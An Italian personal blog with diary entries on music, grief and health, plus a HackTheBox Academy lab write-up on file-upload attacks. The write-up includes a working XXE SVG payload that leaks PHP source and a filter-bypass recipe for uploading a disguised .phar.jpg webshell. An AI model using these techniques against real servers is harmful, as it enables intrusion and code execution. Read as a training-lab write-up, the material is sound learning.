May 18

questione di fortuna?

avevo 12 o 13 anni

e vedevo questo:

e questo

per non parlare di Hey Jude. L’esibizione dei Pink Floyd.

tutto grazie a papà mio.

1 comment

May 1

journey

Category: activity_log,tmrc

tutto è iniziato… circa 1 mesefa , con questo post su Linkedin del mio amico niggle:

link alla room:

https://tryhackme.com/room/snort

come spesso avviene, mi faccio stimolare da una cosa che hanno già fatto gli altri, visto che lì ci sono centinaia di room e di certo non posso affliggermi da solo con l’obiettivo “ok me le faccio tutte” (perché ne sarei capace o, più onestamente, ne avrei il desiderio)

così ho iniziato a farla e.. mi è venuta voglia di toccare con un po’ più di mano questo snort, tool che ho sentito nominare centinaia di volte, bene o male so cosa faceva, ma che non avevo mai provato.

e così mi sono visto un po’ di video su youtube del canale ufficiale:

e, tra un docker e l’altro, ho visto una cosa molto interessante e “nuova”, ossia la possibilità di visualizzare gli alert di snort dentro Elasticsearch.

allora mi sono detto.. perché non provarci!

e così.. ho abbandonato la room a metà, ho persino abbandonato snort, e mi sono messo a vedere un po’ meglio Elasticsearch, anche qui partendo dal canale ufficiale

qui è partita il caos procedurale.

posso già contare 3 installazioni di ELK, una sul server a casa di mamma (junkie, 2 GB di RAM 🙁 ), una su una VM in ufficio, e una sul Cloud trial (30 giorni) di Elasticsearch.. 3 versioni tutte diverse, con menù diversi e cose chiamate in modo diverso. sigh

PERO’, mi era proprio venuta voglia di “farci qualcosa” di pratico, e avevo trovato un po’ di link che spiegavano come buttare dentro ELK il netflow di un Mikrotik.

così.. l’ho fatto e

questa roba è proprio figa 🙂

mi sono persino iscritto (sempre trial) su Pluralsight.com e ho seguito il corso di un tizio. carino, ma secondo me ha corso troppo.

cmq, credo sia proprio questo che intedeva il grande ippsec (https://www.youtube.com/ippsec)

quando dice :

Essentially, if you target your learning in order to accomplish a specific task. You become an “assembly line” worker able to do that one task really well but all the other foundational skills get left out. Not to say this learning is bad, but if it is the only way you are learning it makes it hard to branch out because you aren’t becoming a master in the subject, which makes it difficult to relate it to the next thing you are learning.

https://www.hackthebox.com/blog/Interview-with-Ippsec

p.s. poco fa ho finito la room “snort”, btw 🙂

No comments

Apr 13

posso morire domani

Apr 2

14 agosto 2020

Category: vita

la mail, in quel giorno

nulla a lavoro

non mi sono collegato su junkie

root@junkie:~# history   |grep 2020-08-14
 7455  2022-04-02 12:24:05 history   |grep 2020-08-14

o sul server da DoM:

root@vm:~# history   |grep 2020-08-14
 9995  2022-04-02 12:32:32 history   |grep 2020-08-14

qualche traccia su Exchange, in azienda

# zgrep --color sugo 20200815-auth.log.gz
Aug 14 13:02:55 EX2013.asd.local MSWinEventLog#0111#011Application#01137271310#011ven ago 14 13:02:55 2020#01125001#011MSExchangeMailboxAssistants#011N/A#011N/A#011Information#011EX2013.asd.local#011Assistente pertinenza contatti#011#011L'alimentatore pertinenza persone per la cassetta postale /o=Asd Srl/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=sugo ha prelevato 1 elementi inviati per l'elaborazione. Numero di elementi inviati correttamente elaborati 1 e numero di elementi inviati con errore di elaborazione 0. Totale tempo impiegato per elaborare la cassetta postale: 1169,4727.#011636282 

che altro si potrebbe cercare?

nessun sms

https://www.gazzettaufficiale.it/eli/id/2020/08/14/20G00122/sg

poi avevo mandato una mail

Z3JpbGxldHRhCm5vbiBjaSBzb25vIHBhcm9sZSBwZXIgZGVzY3JpdmVyZSBxdWFudG8gaW8gdGkg
dm9nbGlhIGJlbmUsIHF1YW50byBpbyBzaWEgbGVnYXRvIGEgdGUsIGUgcXVhbnRvIGlvIHRpIGFt
bWlyaSBwZXIgaW5udW1lcmV2b2xpIG1vdGl2aS4Kc2VpIGUgcmltYXJyYWkgc2VtcHJlIGxhIGx1
Y2UgZGVsbGEgbm9zdHJhIGZhbWlnbGlhLCBjb24gbGEgdHVhIGRvbGNpc3NpbWEgc2Vuc2liaWxp
dMOgIGUgY2FwYWNpdMOgIGRpIGNvbXVuaWNhcmUKc2VpIGxhIG1vZ2xpZSBlIGxhIG1hbW1hIG1p
Z2xpb3JlIGNoZSBpbyBlIHBhcMOgIHBvdGVzc2ltbyBtYWkgYXZlcmUuCgppbCB0dW8gcHVwZXR0
byBhZG9yYXRvCkZyYW5jZXNjbwo=

No comments

Apr 2

drift

Category: activity_log,vita

le braccia mi fanno male, più o meno sotto le ascelle

gli avambracci sono ultra-tesi

e così le dita

sembra che io abbia perennemente le braccia congelate, questa è la sensazione di “goffagine” che avverto.

i movimenti “di fino” mi risultano incredibilmente difficili

non sono felice. non mi sento bene

stato di abbandono totale

questo sarebbe il momento di “salvarsi da solo”, cosa che mi risulta molto difficile

non capisco bene perché io abbia tutta questa difficoltà nel fare cose che mi facciano stare bene

sto cuocendo le zucchine. tra poco ci metterò la pancetta sopra

poi lascerò che il tempo passi, fino a lunedì mattina.

e poi si ricomincia

1 comment

Mar 26

Una giornata particolare (2)

ciao

questa sera.. mi ha scritto Pierpi

anzi, prima mi ha chiamato. mi aveva chiesto se gli imprestavo un cavo D.I.

questo ha fatto riemergere il senso di “avulsione” dal mondo del “suonare” che purtroppo alberga in me

e cmq no, non credo di aver mai avuto un cavo D.I.

però gli ho chiesto come mai, a che gli serviva. c’era forse un concerto?

sì, c’era un concerto, vicinissimo casa mia, tra l’altro

così.. ho deciso di andarci. al Matta

tragitto:

now playing: Kelly Lee Owens – Corner of my Sky

sono arrivato realisticamente poco prima dell’inizio del concerto

offerta libera – “noi consigliamo 10 euro”

ho risposto: era già la mia idea!

c’erano realisticamente ben poche persone

non conoscevo assolutamente la band (“dogs of lands?”, ma io ero lì solo perché Pierpaolo faceva il fonico

non ho sbadigliato mai. il genere non mi faceva impazzire. ma loro nel corso della serata hanno suonato sempre meglio.

poi a metà concerto, c’è stata una sorta di presentazione dell’organizzazione “mediterranea”

con proiezioni di video, e testi di questo tipo:

ma, in che senso? il tizio col Mac non sapeva come fare lo schwa?

ogni tanto mi giravo intorno

vedevo altre presenze

presenze di persone con cui possibilmente avrei potuto condividere l’esperienza di andare alla Festa dell’Unità

la cosa sorprendente è che, a fine concerto, una di queste ragazze è venuta dritta da me.

“ma tu sei il figlio della professoressa Scassa”?

la prima cosa che le ho risposto è stata: sì! ma tu come hai fatto a riconoscermi??

ero con la mascherina.. e saranno passati.. mm… 25 anni, letteralmente

lei veniva a casa nostra, perché mamma era sempre solita far venire g0li9999999999999999999999999999999999999999999999999999 (Colin)

gli alunni a casa, per prepararli all’esame di maturità

Rosita. le ho detto di chiamare la mamma, che le avrebbe fatto ultra-piacere

le ho detto di aggiungere mamma su Facebook, visto che lei ce l’ha

lei ha provato a cercarla davanti a me.

non ha foto

ma.. dagli amici in comune sembrava lei.

anche se mi suonava un po’ strano (e l’ho scoperto in quel momento) che sul suo profilo c’era scritto

Macomb Community College

ROFL

now playing: BOC “poppy seed”

ciononostante, non riesco, in questi giorni, a non mangiarmi le pellicine

sigh

No comments

Feb 13

F.u.A.

ho trovato una motivazione per essere felice/stimolato: ormai mi “drogo” con moduli su academy.hackthebox.com 🙂

vediamo l'”esame finale” di questo interessantissimo modulo.

obiettivo del gioco: accedere al flag sul filesystem di questo webserver:

la parte più interessante è chiaramente “Contact Us”:

iniziamo con le cose semplici, e vediamo come va a finire con un’immagine qualunque:

il file viene caricato con successo:

ma.. non sembra immediato capire “dove” sia andato a finire:

tentativi banali come /upload/nomefile, /uploads/nomefile, etc.. non hanno portato a nulla.

proviamo (tentativo disperato) ad uploadare una webshell in PHP. tra parentesi, sembra esserci un controllo client-side sui tipi di files ammessi:

che fa il paio con:

by the way, veniamo chiaramente inculati:

cerchiamo di indagare su quale sia lo script php che si “occupa” di fare l’upload, con l’inseparabile Burp:

vediamo se riusciamo a ottenere in chiaro il codice di upload.php tramite XXE.

creiamo un file .svg con questo contenuto:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>

prima di farlo, tramite l’inspector del browser, togliamo di mezzo quei controlli, ossia:

onchange="checkFile(this)" accept=".jpg,.jpeg,.png"

carichiamo il file svg:

e godiamoci il risultato:

quel blocco encodato in base64 contiene il codice php del file upload.php.

# cat upload.php | base64 -d
<?php
require_once('./common-functions.php');

// uploaded files directory
$target_dir = "./user_feedback_submissions/";

// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;

// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);

// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
    echo "Extension not allowed";
    die();
}

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

// type test
foreach (array($contentType, $MIMEtype) as $type) {
    if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
        echo "Only images are allowed";
        die();
    }
}

// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
    echo "File too large";
    die();
}

if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
    displayHTMLImage($target_file);
} else {
    echo "File failed to upload";
}

la prima scoperta interessante è il path di dove vengono salvate le immagini:

$target_dir = "./user_feedback_submissions/";

nonché il come vengono rinominati i files:

$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName;

come controprova, verifichiamo con il nostro Mario kart di prima 🙂

CVD!

next, avendo in chiaro anche il meccanismo di blacklist E whitelist, possiamo fare dei test.

partiamo da una jpg “vera” qualsiasi (giusto per non rimettere mano all’inspector del browser per togliere i javascript 🙂

e intercettiamo l’upload:

proviamo a cambiare il nome del file e il contenuto dello stesso con una web shell semplicissima:

veniamo inculati:

ma noi questo lo sapevamo già, perché abbiamo triggerato la “blacklist” (il nostro file contiene “.php“)

if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
    echo "Extension not allowed";
    die();

la blacklist di cui sopra, tuttavia, consente di uploadare un file con estensione .phar che, può portare comunque ad esecuzione di codice PHP, se assumiamo che la conf del web server sia:

<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>

come si vede, l’errore è diverso: adesso abbiamo superato la blacklist, ma abbiamo triggerato la whitelist

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

la whitelist di cui sopra è fatta un po’ meglio della blacklist, perché consente solo i file il cui nome finisce con quella regexp (mentre la blacklist verifica solo se contiene o meno la regexp).

riproviamo dunque con pac.phar.jpg:

A questo punto non è chiaro al 100% se abbiamo superato la whitelist, perché l’errore, anche nella terza condizione, è sempre “Only images are allowed“:

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

// type test
foreach (array($contentType, $MIMEtype) as $type) {
    if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
        echo "Only images are allowed";
        die();
    }
}

tuttavia, grazie a questo link:

sembra che abbiamo bypassato la whitelist.

dobbiamo quindi superare il terzo controllo; dobbiamo presupporre che dopo l’upload venga effettuato un check sul tipo di file.

Dobbiamo quindi far creare al controllo lato-server che si tratti di una jpeg, anche se di fatto non lo è.

possiamo trovare un po’ ovunque i “magic bytes” per i vari tipi di file, es.

https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5

nel nostro caso dobbiamo far sì che il contenuto esadecimale del nostro file inizi con:

ff d8 ff e0

grazie a hexedit, modifichiamo dunque l'”incipit” della webshell aggiungendo i bytes di cui sopra, ottenendo alla fine:

il comando file sembra darci ragione sul fatto che sia veramente una jpeg:

root@kaligra:/home/joshua/academy/file_upload_attacks# file webshell.phar.jpg
webshell.phar.jpg: JPEG image data

a questo punto, dopo aver avuto un’idea completa dei controlli lato client (javascript) e lato server (controlli tramite PHP), possiamo prendere il nostro file webshell.phar.jpg e uploadarlo indisturbati:

vediamo se è stato caricato correttamente:

mm, c’è qualcosa (non un errore “Not found” 🙂

a questo punto, possiamo interagire con la nostra webshell, passandogli il parametro cmd e il comando desiderato:

game over *

1 comment

Feb 10

lowercase

Category: ricordi

Feb 8

boy in a room

non mi fa impazzire come suona la batteria, ma…

è definitivamente la descrizione di un mio pomeriggio ideale

(Flynscot, youtube, cover: Weight off by BBNG & kaytranada)

No comments

Feb 5

CTF – Liberty

Category: activity_log,vita

ho perso qualche minuto per cercare di capire come si apriva il “vano” davanti..

poi ho cercato su Youtube 🙂

diciamo che non ci sarei mai arrivato 🙂

by the way, it is empty

No comments

Next Page »